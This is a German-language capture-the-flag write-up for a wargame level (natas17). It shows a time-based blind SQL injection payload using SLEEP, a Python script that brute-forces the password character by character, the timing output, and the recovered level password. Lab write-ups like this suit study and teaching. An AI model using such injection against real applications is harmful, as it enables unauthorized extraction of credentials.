Aktualisiert am: 2023-12-06

Blind SQL Injection

Enumeration

Challenge

  • Im Quellcode finden wir einen Kommentar, der uns auf die Beschaffenheit der Tabelle users hinweist

     CREATE TABLE `users` (
       `username` varchar(64) DEFAULT NULL,
       `password` varchar(64) DEFAULT NULL
     );
    
  • Der Parameter username wird unsicher in $query eingefügt

     $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    
  • Unabhängig vom Ergebnis der Ausführung von $query erhalten wir immer die gleiche Antwort

     $res = mysql_query($query, $link);
         if($res) {
         if(mysql_num_rows($res) > 0) {
             //echo "This user exists.<br>";
         } else {
             //echo "This user doesn't exist.<br>";
         }
         } else {
             //echo "Error in query.<br>";
         }
    

Exploitation

  • Auch wenn wir die Antwort an sich nicht beeinflussen können, so wird bei erfolgreicher SQL Injection tatsächlich unser Code ausgeführt. Das erlaubt uns eine Time-based Blind SQL Injection.
  • Konkret können wir username vorzeitig mit einem Doublequote (") abschliessen, das Kennwort case-sensitive (LIKE BINARY) prüfen und bei Erfolg 1 Sekunde warten; der Rest des Queries wird als Kommentar gekennzeichnet

     natas18" AND password LIKE BINARY "%" AND SLEEP(1) #
    

So lassen sich nun basierend auf der Antwortzeit

  1. alle möglichen Zeichen ermitteln und
  2. diese dann mittels SQL Query ...% (beginnt mit …) durchprobieren

Python Script

Demo | natas17-solution.py

Einmalig müssen die im Kennwort verwendeten Zeichen ermittelt werden. Dem soweit bekannten Kennwort werden nun die ermittelten Zeichen jeweils hinten angefügt und durchprobiert

# for easier brute force, we first verify which characters are used in the password at all
print("verifying characters...")

for c in ''.join([string.ascii_letters, string.digits]):
    # c does match password?
    if get_first_matching_character('%', c, is_verbose=True):
        verified_chars.append(c)
if is_debug: print(verified_chars)
print()


# brute force with verified characters
print("cracking password with verified characters...")

pw_current_char = ''
while (pw_current_char := get_first_matching_character(''.join(pw), verified_chars, is_verbose=True)) is not None:
    if not is_debug: print(pw_current_char, end='', flush=True)
    pw.append(pw_current_char)
print()

Das Script braucht fast 500 Versuche, um das Kennwort herauszufinden.

issuing wildcard request...
001  % + 1.403s

verifying characters...
002  a   0.079s
003  b   0.091s
004  c   0.082s
005  d + 1.280s
...
060  6   0.076s
061  7 + 1.378s
062  8   0.080s
063  9   0.074s
['d', 'g', 'h', 'j', 'l', 'm', 'p', 'q', 's', 'v', 'w', 'x', 'y', 'C', 'D', 'F', 'I', 'K', 'O', 'P', 'R', '0', '4', '7']

cracking password with verified characters...
064  d   0.079s
065  g   0.075s
066  h   0.079s
067  j   0.088s
068  l   0.094s
069  m   0.082s
070  p   0.082s
071  q   0.076s
072  s   0.082s
073  v   0.076s
074  w   0.082s
075  x + 1.390s
076    d   0.078s
077    g   0.076s
078    h   0.077s
079    j   0.078s
080    l   0.076s
081    m   0.082s
082    p   0.081s
083    q   0.085s
084    s   0.078s
085    v + 1.425s
...
455                                                                  d   0.073s
456                                                                  g   0.089s
457                                                                  h   0.076s
458                                                                  j   0.074s
459                                                                  l   0.079s
460                                                                  m   0.075s
461                                                                  p   0.074s
462                                                                  q   0.076s
463                                                                  s   0.074s
464                                                                  v   0.079s
465                                                                  w   0.085s
466                                                                  x   0.080s
467                                                                  y   0.073s
468                                                                  C   0.076s
469                                                                  D   0.086s
470                                                                  F   0.077s
471                                                                  I   0.077s
472                                                                  K   0.080s
473                                                                  O   0.084s
474                                                                  P   0.078s
475                                                                  R   0.086s
476                                                                  0   0.085s
477                                                                  4   0.082s
478                                                                  7   0.074s

requests: 478
password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP